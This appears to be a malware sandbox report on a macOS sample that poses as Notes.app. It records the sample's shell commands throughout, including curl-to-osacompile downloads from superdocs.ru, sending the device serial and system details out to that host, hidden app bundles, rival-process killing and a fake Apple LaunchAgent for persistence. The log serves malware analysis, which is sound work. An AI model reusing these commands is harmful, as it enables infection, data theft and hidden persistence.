    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plistJump to behavior
    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1028)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1028)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plistJump to behavior
    Source: /usr/bin/osacompile (PID: 1035)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plistJump to behavior
    Source: /usr/bin/osacompile (PID: 1035)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plistJump to behavior
    Source: /bin/rm (PID: 1006)File deleted: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icnsJump to behavior
    Source: /usr/bin/codesign (PID: 1002)Bundle code signature resource File created: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/_CodeSignature/CodeResourcesJump to behavior
    Source: /usr/bin/osacompile (PID: 1001)Permissions modified for written FAT Mach-O /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet: bits: - usr: rx grp: rx all: rwxJump to dropped file
    Source: /usr/bin/codesign (PID: 1002)Permissions modified for written FAT Mach-O /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet.cstemp: bits: - usr: rx grp: rx all: rwxJump to dropped file
    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)Shell command executed: sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt'Jump to behavior
    Source: /bin/sh (PID: 1028)Shell command executed: sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt'Jump to behavior
    Source: /usr/bin/osascript (PID: 1028)Shell command executed: sh -c ping -o -t 3 superdocs.ruJump to behavior
    Source: /usr/bin/osascript (PID: 1028)Shell command executed: sh -c rm -rf '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'Jump to behavior
    Source: /usr/bin/osascript (PID: 1028)Shell command executed: sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'Jump to behavior
    Source: /usr/bin/osascript (PID: 1028)Shell command executed: sh -c whoamiJump to behavior
    Source: /usr/bin/osascript (PID: 1028)Shell command executed: sh -c curl -sk -d 'user=pedro&build_vendor=default&build_version=1.1.5' https://superdocs.ru/apple/com.php | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a'Jump to behavior
    Source: /usr/bin/osascript (PID: 1028)Shell command executed: sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a' > /dev/null 2>&1Jump to behavior
    Source: /bin/sh (PID: 1029)Shell command executed: sh -c ping -o -t 3 superdocs.ruJump to behavior
    Source: /bin/sh (PID: 1030)Shell command executed: sh -c rm -rf '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'Jump to behavior
    Source: /bin/sh (PID: 1031)Shell command executed: sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'Jump to behavior
    Source: /bin/sh (PID: 1032)Shell command executed: sh -c whoamiJump to behavior
    Source: /bin/sh (PID: 1033)Shell command executed: sh -c curl -sk -d 'user=pedro&build_vendor=default&build_version=1.1.5' https://superdocs.ru/apple/com.php | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a'Jump to behavior
    Source: /bin/sh (PID: 1036)Shell command executed: sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a' > /dev/null 2>&1Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c whoamiJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c ping -o -t 3 superdocs.ruJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'module launched. connRetries: 0. Used domain: superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c mkdir -p ~/Library/Caches/GitServices/ && touch ~/Library/Caches/GitServices/.edJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c (plutil -p ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist | grep 'https' -b3 |awk 'NR==3 {split($4, arr, '\'') print arr[2]}') || echo 'com.apple.safari'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c defaults read loginwindow SystemVersionStampAsStringJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionStringJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c defaults read /Library/Preferences/com.apple.alf globalstateJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c csrutil status | grep -q enabled && echo 1 || echo 0Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c sysctl -n machdep.cpu.brand_stringJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c echo 'superdocs.ru' > ~/Library/Caches/GitServices/.domainJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'updated .domain with superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c echo ~/Library/Caches/GitServices/.repJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c date -r '/Users/pedro/Library/Caches/GitServices/.rep' +'%s' || echo 9999999999Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c date +'%s'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c [ -d /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/ ] && echo '1' || echo '0'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/remove_old.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c plutil -replace LSUIElement -bool YES '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app'/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app/Contents/Resources/applet.icns' https://superdocs.ru/agent/bin/icons/Empty.icnsJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c codesign --force --deep -s - '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c open -na '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app' &> /dev/null & echo $!Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c basename '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'mapping: remove_old - com.utils.core.sound.app' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/payloader.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.graphics.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c plutil -replace LSUIElement -bool YES '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.graphics.app'/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.graphics.app/Contents/Resources/applet.icns' https://superdocs.ru/agent/bin/icons/Empty.icnsJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c codesign --force --deep -s - '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.graphics.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c open -na '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.graphics.app' &> /dev/null & echo $!Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c basename '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.graphics.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'mapping: payloader - com.utils.core.graphics.app' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/listing.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sysd.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c plutil -replace LSUIElement -bool YES '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sysd.app'/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sysd.app/Contents/Resources/applet.icns' https://superdocs.ru/agent/bin/icons/Empty.icnsJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c codesign --force --deep -s - '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sysd.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c open -na '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sysd.app' &> /dev/null & echo $!Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c basename '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sysd.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'mapping: listing - com.utils.core.sysd.app' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/notes_app.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.dock.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c plutil -replace LSUIElement -bool YES '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.dock.app'/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.dock.app/Contents/Resources/applet.icns' https://superdocs.ru/agent/bin/icons/Empty.icnsJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c codesign --force --deep -s - '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.dock.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c open -na '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.dock.app' &> /dev/null & echo $!Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c basename '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.dock.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'mapping: notes_app - com.metal.core.dock.app' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/contacts.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.filesystem.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c plutil -replace LSUIElement -bool YES '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.filesystem.app'/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.filesystem.app/Contents/Resources/applet.icns' https://superdocs.ru/agent/bin/icons/Empty.icnsJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c codesign --force --deep -s - '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.filesystem.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c open -na '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.filesystem.app' &> /dev/null & echo $!Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c basename '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.filesystem.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'mapping: contacts - com.utils.core.filesystem.app' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/telegram.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.cloudservices.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c plutil -replace LSUIElement -bool YES '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.cloudservices.app'/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.cloudservices.app/Contents/Resources/applet.icns' https://superdocs.ru/agent/bin/icons/Empty.icnsJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c codesign --force --deep -s - '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.cloudservices.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c open -na '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.cloudservices.app' &> /dev/null & echo $!Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c basename '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.metal.core.cloudservices.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'mapping: telegram - com.metal.core.cloudservices.app' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/telegram_lite.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.launchservices.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c plutil -replace LSUIElement -bool YES '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.launchservices.app'/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.launchservices.app/Contents/Resources/applet.icns' https://superdocs.ru/agent/bin/icons/Empty.icnsJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c codesign --force --deep -s - '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.launchservices.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c open -na '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.launchservices.app' &> /dev/null & echo $!Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c basename '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.launchservices.app'Jump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'mapping: telegram_lite - com.utils.core.launchservices.app' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /usr/bin/osascript (PID: 1037)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'delay 300s before browsers' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /bin/sh (PID: 1038)Shell command executed: sh -c whoamiJump to behavior
    Source: /bin/sh (PID: 1039)Shell command executed: sh -c ping -o -t 3 superdocs.ruJump to behavior
    Source: /bin/sh (PID: 1040)Shell command executed: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1043)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'module launched. connRetries: 0. Used domain: superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /bin/sh (PID: 1044)Shell command executed: sh -c mkdir -p ~/Library/Caches/GitServices/ && touch ~/Library/Caches/GitServices/.edJump to behavior
    Source: /bin/sh (PID: 1048)Shell command executed: sh -c (plutil -p ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist | grep 'https' -b3 |awk 'NR==3 {split($4, arr, '\'') print arr[2]}') || echo 'com.apple.safari'Jump to behavior
    Source: /bin/sh (PID: 1053)Shell command executed: sh -c defaults read loginwindow SystemVersionStampAsStringJump to behavior
    Source: /bin/sh (PID: 1054)Shell command executed: sh -c defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionStringJump to behavior
    Source: /bin/sh (PID: 1056)Shell command executed: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1059)Shell command executed: sh -c defaults read /Library/Preferences/com.apple.alf globalstateJump to behavior
    Source: /bin/sh (PID: 1060)Shell command executed: sh -c csrutil status | grep -q enabled && echo 1 || echo 0Jump to behavior
    Source: /bin/sh (PID: 1063)Shell command executed: sh -c sysctl -n machdep.cpu.brand_stringJump to behavior
    Source: /bin/sh (PID: 1064)Shell command executed: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1067)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /bin/sh (PID: 1068)Shell command executed: sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9Jump to behavior
    Source: /bin/sh (PID: 1074)Shell command executed: sh -c echo 'superdocs.ru' > ~/Library/Caches/GitServices/.domainJump to behavior
    Source: /bin/sh (PID: 1075)Shell command executed: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'Jump to behavior
    Source: /bin/sh (PID: 1078)Shell command executed: sh -c curl -k -s --connect-timeout 14 -d 'updated .domain with superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/lJump to behavior
    Source: /bin/sh (PID: 1079)Shell command executed: sh -c echo ~/Library/Caches/GitServices/.repJump to behavior
    Source: /bin/sh (PID: 1080)Shell command executed: sh -c date -r '/Users/pedro/Library/Caches/GitServices/.rep' +'%s' || echo 9999999999Jump to behavior
    Source: /bin/sh (PID: 1082)Shell command executed: sh -c date +'%s'Jump to behavior
    Source: /bin/sh (PID: 1083)Shell command executed: sh -c [ -d /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/ ] && echo '1' || echo '0'Jump to behavior
    Source: /bin/sh (PID: 1084)Shell command executed: sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/'Jump to behavior
    Source: /bin/sh (PID: 1085)Shell command executed: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/remove_old.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app'Jump to behavior
    Source: /bin/bash (PID: 991)Touch executable: /usr/bin/touch -> touch /test.tmpJump to behavior
    Source: /bin/bash (PID: 1003)Touch executable: /usr/bin/touch -> touch /test2.tmpJump to behavior
    Source: /bin/bash (PID: 1004)Touch executable: /usr/bin/touch -> touch /test3.tmpJump to behavior
    Source: /bin/bash (PID: 1018)Touch executable: /usr/bin/touch -> touch /test4.tmpJump to behavior
    Source: /bin/bash (PID: 1024)Touch executable: /usr/bin/touch -> touch /test5.tmpJump to behavior
    Source: /bin/bash (PID: 1025)Touch executable: /usr/bin/touch -> touch /test6.tmpJump to behavior
    Source: /bin/bash (PID: 1046)Touch executable: /usr/bin/touch -> touch /Users/pedro/Library/Caches/GitServices/.edJump to behavior
    Source: /bin/bash (PID: 1005)Plutil executable: /usr/bin/plutil plutil -replace LSUIElement -bool YES /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Info.plistJump to behavior
    Source: /bin/bash (PID: 1050)Plutil executable: /usr/bin/plutil plutil -p /Users/pedro/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plistJump to behavior
    Source: /bin/bash (PID: 1069)Ps executable: /bin/ps -> ps auxJump to behavior
    Source: /usr/bin/osacompile (PID: 1001)File written: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icns
    Source: /bin/cp (PID: 1007)File written: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icnsJump to dropped file
    Source: /bin/bash (PID: 1063)Sysctl executable: /usr/sbin/sysctl -> sysctl -n machdep.cpu.brand_stringJump to behavior
    Source: /bin/bash (PID: 1019)Launch agent/daemon loaded: launchctl load -w /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Source: /bin/bash (PID: 1016)Launch agent/daemon created with StartInterval and/or StartCalendarInterval, file created: /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Source: /bin/bash (PID: 957)Hidden File created: /Users/pedro/Library/Caches/GitServices/.plistJump to behavior
    Source: /bin/bash (PID: 957)Hidden File created: /Users/pedro/Library/Caches/GitServices/.reportJump to behavior
    Source: /bin/bash (PID: 957)Hidden File created: /Users/pedro/Library/Caches/GitServices/.domainJump to behavior
    Source: /usr/bin/touch (PID: 1046)Hidden File created: /Users/pedro/Library/Caches/GitServices/.edJump to behavior
    Source: /bin/bash (PID: 983)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Application Support/com.apple.spotlight/Notes.appJump to behavior
    Source: /bin/bash (PID: 984)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Application Support/com.apple.spotlight/ContainersJump to behavior
    Source: /bin/bash (PID: 985)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Application Scripts/com.apple.CalendarAgent/Notes.appJump to behavior
    Source: /bin/bash (PID: 986)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Application Scripts/com.apple.CalendarAgent/ContainersJump to behavior
    Source: /bin/bash (PID: 987)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.appJump to behavior
    Source: /bin/bash (PID: 988)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/ContainersJump to behavior
    Source: /bin/bash (PID: 989)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Containers/com.apple.photolibraryd/Notes.appJump to behavior
    Source: /bin/bash (PID: 990)Rm executable: /bin/rm -> rm -rf /Users/pedro/Library/Containers/com.apple.photolibraryd/ContainersJump to behavior
    Source: /bin/bash (PID: 992)Rm executable: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.apple.airplay.plistJump to behavior
